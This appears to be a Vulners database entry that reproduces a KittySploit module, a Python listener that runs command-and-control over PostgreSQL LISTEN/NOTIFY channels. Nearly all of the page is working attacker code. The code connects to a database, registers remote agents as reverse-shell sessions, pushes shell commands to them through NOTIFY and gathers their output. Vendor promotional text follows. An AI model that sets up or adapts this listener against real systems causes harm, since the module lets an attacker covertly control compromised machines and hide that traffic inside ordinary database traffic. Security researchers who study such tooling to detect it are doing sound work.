Lucene search
+L

PostgreSQL NOTIFY Shell Listener

🗓️ 29 Jun 2026 19:11:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 3 Views

PostgreSQL NOTIFY Shell Listener provides C2 over PostgreSQL LISTEN/NOTIFY channels.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import select
import threading
import time

from kittysploit import *


class Module(Listener):
    __info__ = {
        "name": "PostgreSQL NOTIFY Shell Listener",
        "description": "C2 over PostgreSQL LISTEN/NOTIFY channels.",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "handler": Handler.REVERSE,
        "session_type": "polling",
        "protocol": "postgresql_notify",
        "dependencies": ["psycopg2-binary"],
    }

    host = OptString("127.0.0.1", "PostgreSQL host", True)
    port = OptPort(5432, "PostgreSQL port", True)
    username = OptString("postgres", "PostgreSQL username", True)
    password = OptString("", "PostgreSQL password", False)
    database = OptString("postgres", "Database name", True)
    command_channel = OptString("ks_cmd", "Channel used for commands", True)
    result_channel = OptString("ks_result", "Channel used for results/registration", True)
    client_id = OptString("agent1", "Client ID to create immediately", False)

    def __init__(self, framework=None):
        super().__init__(framework)
        self.conn = None
        self.running = False
        self._pending_commands = {}
        self._received_output = {}
        self._client_id_to_session = {}
        self._session_to_client_id = {}

    def _connect(self):
        try:
            import psycopg2
            from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT
        except ImportError:
            print_error("psycopg2 is required for PostgreSQL NOTIFY listener")
            return False
        self.conn = psycopg2.connect(
            host=str(self.host),
            port=int(self.port),
            user=str(self.username),
            password=str(self.password or ""),
            dbname=str(self.database),
        )
        self.conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)
        with self.conn.cursor() as cur:
            cur.execute(f'LISTEN "{str(self.result_channel)}"')
        return True

    def _ensure_session(self, client_id, client_ip="postgresql"):
        if client_id in self._client_id_to_session:
            return self._client_id_to_session[client_id]
        data = {
            "protocol": "postgresql_notify",
            "client_id": client_id,
            "client_ip": client_ip,
            "command_channel": str(self.command_channel),
            "result_channel": str(self.result_channel),
            "handler": "reverse",
            "session_type": "polling",
            "listener_type": "postgresql_notify_shell",
        }
        sid = self._create_session("reverse", client_ip, int(self.port), data)
        if sid:
            self._client_id_to_session[client_id] = sid
            self._session_to_client_id[sid] = client_id
            self._pending_commands[sid] = []
            self._received_output[sid] = []
            print_success(f"PostgreSQL NOTIFY agent {client_id} -> session {sid}")
        return sid

    def _listen_loop(self):
        while self.running:
            if select.select([self.conn], [], [], 1) == ([], [], []):
                continue
            self.conn.poll()
            while self.conn.notifies:
                notify = self.conn.notifies.pop(0)
                try:
                    data = json.loads(notify.payload)
                except Exception:
                    data = {"client_id": "agent", "output": notify.payload}
                cid = str(data.get("client_id") or "agent")
                sid = self._ensure_session(cid, "postgresql")
                if data.get("type") == "register":
                    continue
                self._append_output(sid, str(data.get("output", notify.payload)))

    def run(self, background=False):
        if not self._connect():
            return False
        if str(self.client_id or "").strip():
            self._ensure_session(str(self.client_id).strip(), "postgresql")
        self.running = True
        self.listener_thread = threading.Thread(target=self._listen_loop, daemon=True)
        self.listener_thread.start()
        print_success(f"PostgreSQL NOTIFY listener started on channel {self.result_channel}")
        if background:
            return True
        try:
            while self.running:
                time.sleep(0.2)
        except KeyboardInterrupt:
            self.shutdown()
        return True

    def set_pending_command(self, session_id, cmd):
        client_id = self._session_to_client_id.get(session_id)
        if not client_id or not self.conn:
            return
        payload = json.dumps({"client_id": client_id, "command": cmd})
        with self.conn.cursor() as cur:
            cur.execute(f'NOTIFY "{str(self.command_channel)}", %s', (payload,))

    def _append_output(self, session_id, text):
        self._received_output.setdefault(session_id, []).append(text)
        self._received_output[session_id] = self._received_output[session_id][-500:]

    def get_output(self, session_id, clear=False):
        out = "\n".join(self._received_output.get(session_id, []))
        if clear:
            self._received_output[session_id] = []
        return out

    def get_output_lines(self, session_id, last_n=50):
        return self._received_output.get(session_id, [])[-last_n:]

    def shutdown(self):
        self.running = False
        if self.conn:
            self.conn.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2026 19:11Current
5.8Medium risk
Vulners AI Score5.8
3